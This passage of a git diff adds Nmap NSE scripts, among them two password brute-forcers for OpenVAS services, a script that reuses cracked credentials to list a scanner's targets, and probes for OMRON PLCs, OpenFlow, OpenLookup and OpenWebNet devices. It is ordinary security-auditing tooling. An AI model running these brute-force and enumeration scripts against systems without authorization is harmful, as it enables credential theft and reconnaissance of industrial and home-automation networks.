+ ['name'] = ('Private Clients (%d)'):format(count),
+ output_ips(t.clients.prv)
+ }
+ )
+ end
+ -- Public Clients
+ count = #t.clients.pub['4']+#t.clients.pub['6']
+ if count > 0 or vbs > 1 then
+ table.insert(o,
+ {
+ ['name'] = ('Public Clients (%d)'):format(count),
+ output_ips(t.clients.pub)
+ }
+ )
+ end
+
+ -- Other
+ count = #t.other
+ if count > 0 then
+ table.insert(o,
+ {
+ ['name'] = ('Other Associations (%d)'):format(count),
+ t.other
+ }
+ )
+ end
+
+ return stdnse.format_output(true, o)
+
+end
+
+
+---
+-- Sorts and combines a set of IPv4 and IPv6 addresses into a table of rows.
+-- IPv4 addresses are ascending-sorted numerically and arranged in four columns
+-- and IPv6 appear in subsequent rows, sorted and arranged to fit as many
+-- addresses into a row as possible without the need for wrapping.
+--
+-- @param t Table containing two subtables indexed as '4' and '6' containing
+-- a list of IPv4 and IPv6 addresses respectively.
+-- @return Table where each entry is a row of sorted and arranged IP addresses.
+--
+function output_ips(t)
+
+ if #t['4'] < 1 and #t['6'] < 1 then return nil end
+
+ local o = {}
+
+ -- sort and tabulate IPv4 addresses
+ table.sort(t['4'], function(a,b) return ipOps.compare_ip(a, "lt", b) end)
+ local limit = #t['4']
+ local cols = 4
+ local rows = math.ceil(limit/cols)
+ local numlast = limit - cols*rows + cols
+ local pad4 = (' '):rep(15)
+ local index = 0
+ for c=1, cols, 1 do
+ for r=1, rows, 1 do
+ if r == rows and c > numlast then break end
+ index = index+1
+ o[r] = o[r] or ''
+ local padlen = pad4:len() - t['4'][index]:len()
+ o[r] = ('%s%s%s '):format(o[r], t['4'][index], pad4:sub(1, padlen))
+ end
+ end
+
+ -- IPv6
+ -- Rows are allowed to be 71 chars wide
+ table.sort(t['6'], function(a,b) return ipOps.compare_ip(a, "lt", b) end)
+ local i = 1
+ local limit = #t['6']
+ while i <= limit do
+ local work = {}
+ local len = 0
+ local j = i
+ repeat
+ if not t['6'][j] then j = j-1; break end
+ len = len + t['6'][j]:len() + 1
+ if len > 71 then
+ j = j-1
+ else
+ j = j+1
+ end
+ until len > 71
+ for n = i, j, 1 do
+ work[#work+1] = t['6'][n]
+ end
+ o[#o+1] = table.concat(work, ' ')
+ i = j+1
+ end
+ return o
+end
diff --git a/scripts/omp2-brute.nse b/scripts/omp2-brute.nse
new file mode 100644
index 0000000..ade5922
--- /dev/null
+++ b/scripts/omp2-brute.nse
@@ -0,0 +1,81 @@
+local brute = require "brute"
+local creds = require "creds"
+local omp2 = require "omp2"
+local shortport = require "shortport"
+
+description = [[
+Performs brute force password auditing against the OpenVAS manager using OMPv2.
+]]
+
+---
+-- @usage
+-- nmap -p 9390 --script omp2-brute <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 9390/tcp open openvas syn-ack
+-- | omp2-brute:
+-- | Accounts
+-- |_ admin:secret => Valid credentials
+--
+
+author = "Henri Doreau"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"brute", "intrusive"}
+
+
+portrule = shortport.port_or_service(9390, "openvas")
+
+
+Driver = {
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.session = omp2.Session:new(brute.new_socket())
+ return o
+ end,
+
+ --- Connects to the OpenVAS Manager
+ --
+ -- @return status boolean for connection success/failure
+ -- @return err string describing the error on failure
+ connect = function(self)
+ return self.session:connect(self.host, self.port)
+ end,
+
+ --- Closes connection
+ --
+ -- @return status boolean for closing success/failure
+ disconnect = function(self)
+ return self.session:close()
+ end,
+
+ --- Attempts to login the the OpenVAS Manager using a given username/password
+ -- couple. Store the credentials in the registry on success.
+ --
+ -- @param username string containing the login username
+ -- @param password string containing the login password
+ -- @return status boolean for login success/failure
+ -- @return err string describing the error on failure
+ login = function(self, username, password)
+ if self.session:authenticate(username, password) then
+ -- store the account for possible future use
+ omp2.add_account(self.host, username, password)
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ else
+ return false, brute.Error:new("login failed")
+ end
+ end,
+
+}
+
+action = function(host, port)
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.script_name = SCRIPT_NAME
+ local status, result = engine:start()
+ return result
+end
+
diff --git a/scripts/omp2-enum-targets.nse b/scripts/omp2-enum-targets.nse
new file mode 100644
index 0000000..71bbb63
--- /dev/null
+++ b/scripts/omp2-enum-targets.nse
@@ -0,0 +1,126 @@
+local omp2 = require "omp2"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local tab = require "tab"
+local table = require "table"
+local target = require "target"
+
+description = [[
+Attempts to retrieve the list of target systems and networks from an OpenVAS Manager server.
+
+The script authenticates on the manager using provided or previously cracked
+credentials and gets the list of defined targets for each account.
+
+These targets will be added to the scanning queue in case
+<code>newtargets</code> global variable is set.
+]]
+
+---
+-- @usage
+-- nmap -p 9390 --script omp2-brute,omp2-enum-targets <target>
+--
+-- @usage
+-- nmap -p 9390 --script omp2-enum-targets --script-args omp2.username=admin,omp2.password=secret <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 9390/tcp open openvas
+-- | omp2-enum-targets:
+-- | Targets for account admin:
+-- | TARGET HOSTS
+-- | Sales network 192.168.20.0/24
+-- | Production network 192.168.30.0/24
+-- |_ Firewall 192.168.1.254
+--
+
+
+author = "Henri Doreau"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+dependencies = {"omp2-brute"}
+
+
+
+
+portrule = shortport.port_or_service(9390, "openvas")
+
+
+--- Return the list of targets defined for a given user
+--
+-- @param host the target host table
+-- @param port the targeted OMP port
+-- @param username the username to use to login
+-- @param password the password to use to login
+-- @return the list of targets for this user or nil
+local function account_enum_targets(host, port, username, password)
+ local targets
+ local session = omp2.Session:new()
+
+ local status, err = session:connect(host, port)
+
+ if not status then
+ stdnse.debug1("connection failure (%s)", err)
+ return nil
+ end
+
+ if session:authenticate(username, password) then
+ targets = session:ls_targets()
+ else
+ stdnse.debug1("authentication failure (%s:%s)", username, password)
+ end
+
+ session:close()
+
+ return targets
+end
+
+--- Generate the output string representing the list of discovered targets
+--
+-- @param targets the list of targets as a name->hosts mapping
+-- @return the array as a formatted string
+local function report(targets)
+ local outtab = tab.new()
+
+ tab.add(outtab, 1, "TARGET")
+ tab.add(outtab, 2, "HOSTS")
+ tab.nextrow(outtab)
+
+ for name, hosts in pairs(targets) do
+ tab.addrow(outtab, name, hosts)
+ end
+
+ return tab.dump(outtab)
+end
+
+action = function(host, port)
+ local results = {}
+ local credentials = omp2.get_accounts(host)
+
+ if not credentials then
+ -- unable to authenticate on the server
+ return "No valid account available!"
+ end
+
+ for _, account in pairs(credentials) do
+
+ local username, password = account.username, account.password
+
+ local targets = account_enum_targets(host, port, username, password)
+
+ if targets ~= nil then
+ table.insert(results, "Targets for account " .. username .. ":")
+ table.insert(results, report(targets))
+ else
+ table.insert(results, "No targets found for account " .. username)
+ end
+
+ if target.ALLOW_NEW_TARGETS and targets ~= nil then
+ stdnse.debug1("adding new targets %s", table.concat(targets, ", "))
+ target.add(table.unpack(targets))
+ end
+
+ end
+
+ return stdnse.format_output(true, results)
+end
+
diff --git a/scripts/omron-info.nse b/scripts/omron-info.nse
new file mode 100644
index 0000000..54561c4
--- /dev/null
+++ b/scripts/omron-info.nse
@@ -0,0 +1,197 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+
+description = [[
+This NSE script is used to send a FINS packet to a remote device. The script
+will send a Controller Data Read Command and once a response is received, it
+validates that it was a proper response to the command that was sent, and then
+will parse out the data.
+]]
+---
+-- @usage
+-- nmap --script omron-info -sU -p 9600 <host>
+--
+-- @output
+-- 9600/tcp open OMRON FINS
+-- | omron-info:
+-- | Controller Model: CJ2M-CPU32 02.01
+-- | Controller Version: 02.01
+-- | For System Use:
+-- | Program Area Size: 20
+-- | IOM size: 23
+-- | No. DM Words: 32768
+-- | Timer/Counter: 8
+-- | Expansion DM Size: 1
+-- | No. of steps/transitions: 0
+-- | Kind of Memory Card: 0
+-- |_ Memory Card Size: 0
+
+-- @xmloutput
+-- <elem key="Controller Model">CS1G_CPU44H 03.00</elem>
+-- <elem key="Controller Version">03.00</elem>
+-- <elem key="For System Use"></elem>
+-- <elem key="Program Area Size">20</elem>
+-- <elem key="IOM size">23</elem>
+-- <elem key="No. DM Words">32768</elem>
+-- <elem key="Timer/Counter">8</elem>
+-- <elem key="Expansion DM Size">1</elem>
+-- <elem key="No. of steps/transitions">0</elem>
+-- <elem key="Kind of Memory Card">0</elem>
+-- <elem key="Memory Card Size">0</elem>
+
+
+author = "Stephen Hilt (Digital Bond)"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "version"}
+
+--
+-- Function to define the portrule as per nmap standards
+--
+--
+portrule = shortport.version_port_or_service(9600, "fins", {"tcp", "udp"})
+
+---
+-- Function to set the nmap output for the host, if a valid OMRON FINS packet
+-- is received then the output will show that the port is open instead of
+-- <code>open|filtered</code>
+--
+-- @param host Host that was passed in via nmap
+-- @param port port that FINS is running on (Default UDP/9600)
+function set_nmap(host, port)
+
+ --set port Open
+ port.state = "open"
+ -- set version name to OMRON FINS
+ port.version.name = "fins"
+ nmap.set_port_version(host, port)
+ nmap.set_port_state(host, port, "open")
+
+end
+
+local memcard = {
+ [0] = "No Memory Card",
+ [1] = "SPRAM",
+ [2] = "EPROM",
+ [3] = "EEPROM"
+}
+
+function memory_card(value)
+ local mem_card = memcard[value] or "Unknown Memory Card Type"
+ return mem_card
+end
+---
+-- send_udp is a function that is used to run send the appropriate traffic to
+-- the omron devices via UDP
+--
+-- @param socket Socket that is passed in from Action
+function send_udp(socket)
+ local controller_data_read = stdnse.fromhex( "800002000000006300ef050100")
+ -- send Request Information Packet
+ socket:send(controller_data_read)
+ local rcvstatus, response = socket:receive()
+ return response
+end
+---
+-- send_tcp is a function that is used to run send the appropriate traffic to
+-- the omron devices via TCP
+--
+-- @param socket Socket that is passed in from Action
+function send_tcp(socket)
+ -- this is the request address command
+ local req_addr = stdnse.fromhex( "46494e530000000c000000000000000000000000")
+ -- TCP requires a network address that is revived from the first request,
+ -- The read controller data these two strings will be joined with the address
+ local controller_data_read = stdnse.fromhex("46494e5300000015000000020000000080000200")
+ local controller_data_read2 = stdnse.fromhex("000000ef050501")
+
+ -- send Request Information Packet
+ socket:send(req_addr)
+ local rcvstatus, response = socket:receive()
+ local header = string.byte(response, 1)
+ if(header == 0x46) then
+ local address = string.byte(response, 24)
+ local controller_data = ("%s%c%s%c"):format(controller_data_read, address, controller_data_read2, 0x00)
+ -- send the read controller data request
+ socket:send(controller_data)
+ local rcvstatus, response = socket:receive()
+ return response
+ end
+ return "ERROR"
+end
+
+---
+-- Action Function that is used to run the NSE. This function will send the initial query to the
+-- host and port that were passed in via nmap. The initial response is parsed to determine if host
+-- is a FINS supported device.
+--
+-- @param host Host that was scanned via nmap
+-- @param port port that was scanned via nmap
+action = function(host,port)
+
+ -- create table for output
+ local output = stdnse.output_table()
+ -- create new socket
+ local socket = nmap.new_socket()
+ local catch = function()
+ socket:close()
+ end
+ -- create new try
+ local try = nmap.new_try(catch)
+ -- connect to port on host
+ try(socket:connect(host, port))
+ -- init response var
+ local response = ""
+ -- set offset to 0, this will mean its UDP
+ local offset = 0
+ -- check to see if the protocol is TCP, if it is set offset to 16
+ -- and perform the tcp_send function
+ if (port.protocol == "tcp")then
+ offset = 16
+ response = send_tcp(socket)
+ -- else its udp and call the send_udp function
+ else
+ response = send_udp(socket)
+ end
+ -- unpack the first byte for checking that it was a valid response
+ local header = string.unpack("B", response, 1)
+ if(header == 0xc0 or header == 0xc1 or header == 0x46) then
+ set_nmap(host, port)
+ local response_code = string.unpack("<I2", response, 13 + offset)
+ -- test for a few of the error codes I saw when testing the script
+ if(response_code == 2081) then
+ output["Response Code"] = "Data cannot be changed (0x2108)"
+ elseif(response_code == 290) then
+ output["Response Code"] = "The mode is wrong (executing) (0x2201)"
+ -- if a successful response code then
+ elseif(response_code == 0) then
+ -- parse information from response
+ output["Response Code"] = "Normal completion (0x0000)"
+ output["Controller Model"] = string.unpack("z", response,15 + offset)
+ output["Controller Version"] = string.unpack("z", response, 35 + offset)
+ output["For System Use"] = string.unpack("z", response, 55 + offset)
+ local pos
+ output["Program Area Size"], pos = string.unpack(">I2", response, 95 + offset)
+ output["IOM size"], pos = string.unpack("B", response, pos)
+ output["No. DM Words"], pos = string.unpack(">I2", response, pos)
+ output["Timer/Counter"], pos = string.unpack("B", response, pos)
+ output["Expansion DM Size"], pos = string.unpack("B", response, pos)
+ output["No. of steps/transitions"], pos = string.unpack(">I2", response, pos)
+ local mem_card_type
+ mem_card_type, pos = string.unpack("B", response, pos)
+ output["Kind of Memory Card"] = memory_card(mem_card_type)
+ output["Memory Card Size"], pos = string.unpack(">I2", response, pos)
+
+ else
+ output["Response Code"] = "Unknown Response Code"
+ end
+ socket:close()
+ return output
+
+ else
+ socket:close()
+ return nil
+ end
+
+end
diff --git a/scripts/openflow-info.nse b/scripts/openflow-info.nse
new file mode 100644
index 0000000..8d0232e
--- /dev/null
+++ b/scripts/openflow-info.nse
@@ -0,0 +1,205 @@
+local comm = require "comm"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local match = require "match"
+local table = require "table"
+
+description = [[
+Queries OpenFlow controllers for information. Newer versions of the OpenFlow
+protocol (1.3 and greater) will return a list of all protocol versions supported
+by the controller. Versions prior to 1.3 only return their own version number.
+
+For additional information:
+* https://www.opennetworking.org/images/stories/downloads/sdn-resources/onf-specifications/openflow/openflow-switch-v1.5.0.noipr.pdf
+]]
+
+---
+-- @usage nmap -p 6633,6653 --script openflow-info <target>
+-- @output
+-- PORT STATE SERVICE REASON
+-- 6653/tcp open openflow
+-- | openflow-info:
+-- | OpenFlow Running Version: 1.5.X
+-- | OpenFlow Versions Supported:
+-- | 1.0
+-- | 1.1
+-- | 1.2
+-- | 1.3.X
+-- | 1.4.X
+-- |_ 1.5.X
+
+author = {"Jay Smith", "Mak Kolybabi <mak@kolybabi.com>"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "safe"}
+
+-- OpenFlow versions released:
+-- 0x01 = 1.0
+-- 0x02 = 1.1
+-- 0x03 = 1.2
+-- 0x04 = 1.3.X
+-- 0x05 = 1.4.X
+-- 0x06 = 1.5.X
+-- The bits in the version bitmap are indexed by the ofp version number of the
+-- protocol. If the bit identified by the number of left bitshift equal
+-- to a ofp version number is set, this OpenFlow version is supported.
+local openflow_versions = {
+ [0x02] = "1.0",
+ [0x04] = "1.1",
+ [0x08] = "1.2",
+ [0x10] = "1.3.X",
+ [0x20] = "1.4.X",
+ [0x40] = "1.5.X"
+}
+
+local OPENFLOW_HEADER_SIZE = 8
+local OFPT_HELLO = 0
+local OFPHET_VERSIONBITMAP = 1
+
+portrule = shortport.version_port_or_service({6633, 6653}, "openflow", "tcp")
+
+receive_message = function(host, port)
+ local hello = string.pack(
+ ">I1 I1 I2 I4",
+ 0x04,
+ OFPT_HELLO,
+ OPENFLOW_HEADER_SIZE,
+ 0xFFFFFFFF
+ )
+
+ -- Handshake Info:
+ -- Versions 1.3.1 and later say hello with a bitmap of versions supported
+ -- Earlier versions either say hello without the bitmap.
+ -- Some implementations are shy and don't make the first move, so we'll say
+ -- hello first. We'll pretend to be a switch using version 1.0 of the protocol
+ local socket, response = comm.tryssl(host, port, hello, {bytes = OPENFLOW_HEADER_SIZE})
+ if not socket then
+ stdnse.debug1("Failed to connect to service: %s", response)
+ return
+ end
+
+ if #response < OPENFLOW_HEADER_SIZE then
+ socket:close()
+ stdnse.debug1("Initial packet received was %d bytes, need >= %d bytes.", #response, OPENFLOW_HEADER_SIZE)
+ return
+ end
+
+ -- The first byte is the protocol version number being used. So long as that
+ -- number is less than the currently-published versions, then we can be
+ -- confident in our parsing of the packet.
+ local pos = 1
+ local message = {}
+ local message_version, pos = string.unpack(">I1", response, 1)
+ if message_version > 0x06 then
+ socket:close()
+ stdnse.debug1("Initial packet received had unrecognized version %d.", message_version)
+ return
+ end
+ message.version = message_version
+
+ -- The second byte is the packet type.
+ local message_type, pos = string.unpack(">I1", response, pos)
+ message.type = message_type
+
+ -- The fourth and fifth bytes are the length of the entire message, including
+ -- the header and length itself.
+ local message_length, pos = string.unpack(">I2", response, pos)
+ if message_length < OPENFLOW_HEADER_SIZE then
+ socket:close()
+ stdnse.debug1("Response declares length as %d bytes, need >= %d bytes.", message_length, OPENFLOW_HEADER_SIZE)
+ return
+ end
+ message.length = message_length
+
+ -- The remainder of the header contains the ID.
+ local message_id, pos = string.unpack(">I4", response, pos)
+ message.id = message_id
+
+ -- All remaining data from the response, up until the message length, is the body.
+ assert(pos == OPENFLOW_HEADER_SIZE + 1)
+ message.body = response:sub(pos, message_length)
+
+ -- If we have the whole packet, pass it up the call stack.
+ if message_length <= #response then
+ socket:close()
+ return message
+ end
+
+ -- If message length is larger than the data we already have, receive the
+ -- remainder of the packet.
+ local missing_bytes = message_length - #response
+ local status, body = socket:receive_buf(match.numbytes(missing_bytes), true)
+ if not status then
+ socket:close()
+ stdnse.debug1("Failed to receive missing %d bytes of response: %s", missing_bytes, body)
+ return
+ end
+ message.body = (response .. body):sub(pos, message_length)
+
+ return message
+end
+
+retrieve_version_bitmap = function(message)
+ -- HELLO message structure:
+ -- /* OFPT_HELLO. This message includes zero or more hello elements having
+ -- * variable size. Unknown elements types must be ignored/skipped, to allow
+ -- * for future extensions. */
+ -- struct ofp_hello {
+ -- struct ofp_header header;
+ -- /* Hello element list */
+ -- struct ofp_hello_elem_header elements[0]; /* List of elements - 0 or more */
+ -- };
+ -- The HELLO message may contain zero or more hello elements. One of these
+ -- hello elements may be of the type OFPHET_VERSIONBITMAP. We must search
+ -- through elements until we find OFPHET_VERSIONBITMAP.
+ -- Note: As of version 1.5, OFPHET_VERSIONBITMAP is the only standard hello element type.
+ -- However, we can not assume that this will be the case for long.
+ local pos = 1
+ local body = message.body
+ while pos + 4 < #body - 1 do
+ local element_length, element_type
+ element_type, element_length, pos = string.unpack(">I2 I2", body, pos)
+ if pos + element_length < #body then
+ stdnse.debug1("Ran out of data parsing element type %d at position %d.", element_type, pos)
+ return
+ end
+
+ if element_type == OFPHET_VERSIONBITMAP then
+ return string.unpack(">I4", body, pos)
+ end
+
+ pos = pos + element_length - 4
+ end
+
+ return
+end
+
+action = function(host, port)
+ local output = stdnse.output_table()
+
+ local message = receive_message(host, port)
+ if not message then
+ return
+ end
+
+ output["OpenFlow Version Running"] = openflow_versions[2 ^ message.version]
+ if message.type ~= OFPT_HELLO then
+ return output
+ end
+
+ local version_bitmap = retrieve_version_bitmap(message)
+ if not version_bitmap then
+ return output
+ end
+
+ local supported_versions = {}
+ for mask, version in pairs(openflow_versions) do
+ if mask & version_bitmap then
+ table.insert(supported_versions, version)
+ end
+ end
+ table.sort(supported_versions)
+ output["OpenFlow Versions Supported"] = supported_versions
+
+ return output
+end
diff --git a/scripts/openlookup-info.nse b/scripts/openlookup-info.nse
new file mode 100644
index 0000000..0d24959
--- /dev/null
+++ b/scripts/openlookup-info.nse
@@ -0,0 +1,246 @@
+local comm = require "comm"
+local datetime = require "datetime"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Parses and displays the banner information of an OpenLookup (network key-value store) server.
+]]
+
+---
+-- @usage
+-- nmap -p 5850 --script openlookup-info <target>
+--
+-- @output
+-- 5850/tcp open openlookup
+-- | openlookup-info:
+-- | sync port: 5850
+-- | name: Paradise, Arizona
+-- | your address: 127.0.0.1:50162
+-- | timestamp: 2011-05-21T11:26:07
+-- | version: 2.7
+-- |_ http port: 5851
+--
+-- @xmloutput
+-- <elem key="sync port">5850</elem>
+-- <elem key="name">Paradise, Arizona</elem>
+-- <elem key="your address">127.0.0.1:50162</elem>
+-- <elem key="timestamp">2011-05-21T11:26:07</elem>
+-- <elem key="version">2.7</elem>
+-- <elem key="http port">5851</elem>
+
+author = "Toni Ruottu"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe", "version"}
+
+
+portrule = shortport.version_port_or_service(5850, "openlookup")
+
+-- Netstring helpers
+-- http://cr.yp.to/proto/netstrings.txt
+
+-- parses a Netstring element
+local function parsechunk(data)
+ local parts = stringaux.strsplit(":", data)
+ if #parts < 2 then
+ return nil, data
+ end
+ local head = table.remove(parts, 1)
+ local size = tonumber(head)
+ if not size then
+ return nil, data
+ end
+ local body = table.concat(parts, ":")
+ if #body < size then
+ return nil, data
+ end
+ local chunk = string.sub(body, 1, size)
+ local skip = #chunk + string.len(",")
+ local rest = string.sub(body, skip + 1)
+ return chunk, rest
+end
+
+-- NSON helpers
+-- http://code.google.com/p/messkit/source/browse/trunk/messkit/nson.py
+
+-- parses an NSON int
+local function parseint(data)
+ if string.sub(data, 1, 1) ~= "i" then
+ return
+ end
+ local text = string.sub(data, 2)
+ local number = tonumber(text)
+ return number
+end
+
+-- parses an NSON float
+local function parsefloat(data)
+ if string.sub(data, 1, 1) ~= "f" then
+ return
+ end
+ local text = string.sub(data, 2)
+ local number = tonumber(text)
+ return number
+end
+
+-- parses an NSON string
+local function parsestring(data)
+ if string.sub(data, 1, 1) ~= "s" then
+ return
+ end
+ return string.sub(data, 2)
+end
+
+-- parses an NSON int, float, or string
+local function parsesimple(data)
+ local i = parseint(data)
+ local f = parsefloat(data)
+ local s = parsestring(data)
+ return i or f or s
+end
+
+-- parses an NSON dictionary
+local function parsedict(data)
+ if #data < 1 then
+ return
+ end
+ if string.sub(data, 1, 1) ~= "d" then
+ return
+ end
+ local rest = string.sub(data, 2)
+ local dict = {}
+ while #rest > 0 do
+ local chunk, key, value
+ chunk, rest = parsechunk(rest)
+ if not chunk then
+ return
+ end
+ key = parsestring(chunk)
+ value, rest = parsechunk(rest)
+ if not value then
+ return
+ end
+ dict[key] = value
+ end
+ return dict
+end
+
+-- parses an NSON array
+local function parsearray(data)
+ if #data < 1 then
+ return
+ end
+ if string.sub(data, 1, 1) ~= "a" then
+ return
+ end
+ local rest = string.sub(data, 2)
+ local array = {}
+ while #rest > 0 do
+ local value
+ value, rest = parsechunk(rest)
+ if not value then
+ return
+ end
+ table.insert(array, value)
+ end
+ return array
+end
+
+-- OpenLookup specific stuff
+
+local function formataddress(data)
+ local parts = parsearray(data)
+ if not parts then
+ return
+ end
+ if #parts < 2 then
+ return
+ end
+ local ip = parsestring(parts[1])
+ if not ip then
+ return
+ end
+ local port = parseint(parts[2])
+ if not port then
+ return
+ end
+ return ip .. ":" .. port
+end
+
+local function formattime(data)
+ local time = parsefloat(data)
+ if not time then
+ return
+ end
+ return datetime.format_timestamp(time)
+end
+
+local function formatvalue(key, nson)
+ local value
+ if key == "your_address" then
+ value = formataddress(nson)
+ elseif key == "timestamp" then
+ value = formattime(nson)
+ else
+ value = parsesimple(nson)
+ end
+ if not value then
+ value = "<" .. #nson .. "B of data>"
+ end
+ return value
+end
+
+function formatoptions(header)
+ local msg = parsedict(header)
+ if not msg then
+ return
+ end
+ local rawmeth = msg["method"]
+ if not rawmeth then
+ stdnse.debug2("header missing method field")
+ return
+ end
+ local method = parsestring(rawmeth)
+ if not method then
+ return
+ end
+ if method ~= "hello" then
+ stdnse.debug1("expecting hello, got " .. method .. " instead")
+ return
+ end
+ local rawopts = msg["options"]
+ if not rawopts then
+ return {}
+ end
+ return parsedict(rawopts)
+end
+
+action = function(host, port)
+ local status, banner = comm.get_banner(host, port)
+ if not status then
+ return
+ end
+ local header, _ = parsechunk(banner)
+ if not header then
+ return
+ end
+ local options = formatoptions(header)
+ if not options then
+ return
+ end
+ port.version.name = "openlookup"
+ local version = options["version"]
+ if version then
+ port.version.version = version
+ end
+ nmap.set_port_version(host, port)
+ if #options < 1 then
+ return
+ end
+ return options
+end
+
diff --git a/scripts/openvas-otp-brute.nse b/scripts/openvas-otp-brute.nse
new file mode 100644
index 0000000..6cca909
--- /dev/null
+++ b/scripts/openvas-otp-brute.nse
@@ -0,0 +1,112 @@
+local brute = require "brute"
+local creds = require "creds"
+local match = require "match"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+
+local openssl = stdnse.silent_require "openssl"
+
+description=[[
+Performs brute force password auditing against a OpenVAS vulnerability scanner daemon using the OTP 1.0 protocol.
+]]
+
+---
+-- @output
+-- PORT STATE SERVICE REASON VERSION
+-- 9391/tcp open ssl/openvas syn-ack
+-- | openvas-otp-brute:
+-- | Accounts
+-- | openvas:openvas - Valid credentials
+-- | Statistics
+-- |_ Performed 4 guesses in 4 seconds, average tps: 1
+--
+-- @args openvas-otp-brute.threads sets the number of threads. Default: 4
+
+author = "Vlatko Kosturjak"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service({9390,9391}, "openvas", "tcp")
+
+Driver =
+{
+ new = function (self, host, port)
+ local o = { host = host, port = port }
+ setmetatable (o,self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function ( self )
+ self.socket = brute.new_socket()
+ if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then
+ return false
+ end
+ return true
+ end,
+
+ login = function( self, username, password )
+ local status, err = self.socket:send("< OTP/1.0 >\n")
+
+ if ( not ( status ) ) then
+ local err = brute.Error:new( "Unable to send handshake" )
+ err:setAbort(true)
+ return false, err
+ end
+
+ local response
+ status, response = self.socket:receive_buf(match.pattern_limit("\r?\n", 2048), false)
+ if ( not(status) or response ~= "< OTP/1.0 >" ) then
+ local err = brute.Error:new( "Bad handshake from server: "..response )
+ err:setAbort(true)
+ return false, err
+ end
+
+ status, err = self.socket:send(username.."\n")
+ if ( not(status) ) then
+ local err = brute.Error:new( "Couldn't send user: "..username )
+ err:setAbort( true )
+ return false, err
+ end
+
+ status, err = self.socket:send(password.."\n")
+ if ( not(status) ) then
+ local err = brute.Error:new( "Couldn't send password: "..password )
+ err:setAbort( true )
+ return false, err
+ end
+
+ -- Create a buffer and receive the first line
+ local line
+ status, line = self.socket:receive_buf(match.pattern_limit("\r?\n", 2048), false)
+
+ if (line == nil or string.match(line,"Bad login")) then
+ stdnse.debug2("Bad login: %s/%s", username, password)
+ return false, brute.Error:new( "Bad login" )
+ elseif (string.match(line,"SERVER <|>")) then
+
+ stdnse.debug1("Good login: %s/%s", username, password)
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+
+ stdnse.debug1("WARNING: Unhandled response: %s", line)
+ return false, brute.Error:new( "unhandled response" )
+ end,
+
+ disconnect = function( self )
+ self.socket:close()
+ end,
+}
+
+action = function(host, port)
+ local engine = brute.Engine:new(Driver, host, port)
+ engine:setMaxThreads(1)
+ engine.options.script_name = SCRIPT_NAME
+ local status, result = engine:start()
+ return result
+end
+
diff --git a/scripts/openwebnet-discovery.nse b/scripts/openwebnet-discovery.nse
new file mode 100644
index 0000000..79edb28
--- /dev/null
+++ b/scripts/openwebnet-discovery.nse
@@ -0,0 +1,291 @@
+local datetime = require "datetime"
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local comm = require "comm"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+OpenWebNet is a communications protocol developed by Bticino since 2000.
+Retrieves device identifying information and number of connected devices.
+
+References:
+* https://www.myopen-legrandgroup.com/solution-gallery/openwebnet/
+* http://www.pimyhome.org/wiki/index.php/OWN_OpenWebNet_Language_Reference
+]]
+
+---
+-- @usage
+-- nmap --script openwebnet-discovery
+--
+-- @output
+-- | openwebnet-discover:
+-- | IP Address: 192.168.200.35
+-- | Net Mask: 255.255.255.0
+-- | MAC Address: 00:03:50:01:d3:11
+-- | Device Type: F453AV
+-- | Firmware Version: 3.0.14
+-- | Uptime: 12d9h42m1s
+-- | Date and Time: 4-07-2017T19:17:27
+-- | Kernel Version: 2.3.8
+-- | Distribution Version: 3.0.1
+-- | Lighting: 115
+-- | Automation: 15
+-- |_ Burglar Alarm: 12
+--
+-- @xmloutput
+-- <elem key="IP Address">192.168.200.35</elem>
+-- <elem key="Net Mask">255.255.255.0</elem>
+-- <elem key="MAC Address">00:03:50:01:d3:11</elem>
+-- <elem key="Device Type">F453AV</elem>
+-- <elem key="Firmware Version">3.0.14</elem>
+-- <elem key="Uptime">12d9h42m1s</elem>
+-- <elem key="Date and Time">4-07-2017T19:17:27</elem>
+-- <elem key="Kernel Version">2.3.8</elem>
+-- <elem key="Distribution Version">3.0.1</elem>
+-- <elem key="Lighting">115</elem>
+-- <elem key="Automation">15</elem>
+-- <elem key="Burglar Alarm">12</elem>
+
+author = "Rewanth Cool"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+portrule = shortport.port_or_service(20000, "openwebnet")
+
+local device = {
+ [2] = "MHServer",
+ [4] = "MH200",
+ [6] = "F452",
+ [7] = "F452V",
+ [11] = "MHServer2",
+ [12] = "F453AV",
+ [13] = "H4684",
+ [15] = "F427 (Gateway Open-KNX)",
+ [16] = "F453",
+ [23] = "H4684",
+ [27] = "L4686SDK",
+ [44] = "MH200N",
+ [51] = "F454",
+ [200] = "F454 (new?)"
+}
+
+local who = {
+ [0] = "Scenarios",
+ [1] = "Lighting",
+ [2] = "Automation",
+ [3] = "Power Management",
+ [4] = "Heating",
+ [5] = "Burglar Alarm",
+ [6] = "Door Entry System",
+ [7] = "Multimedia",
+ [9] = "Auxiliary",
+ [13] = "Device Communication",
+ [14] = "Light+shutters actuators lock",
+ [15] = "CEN",
+ [16] = "Sound System",
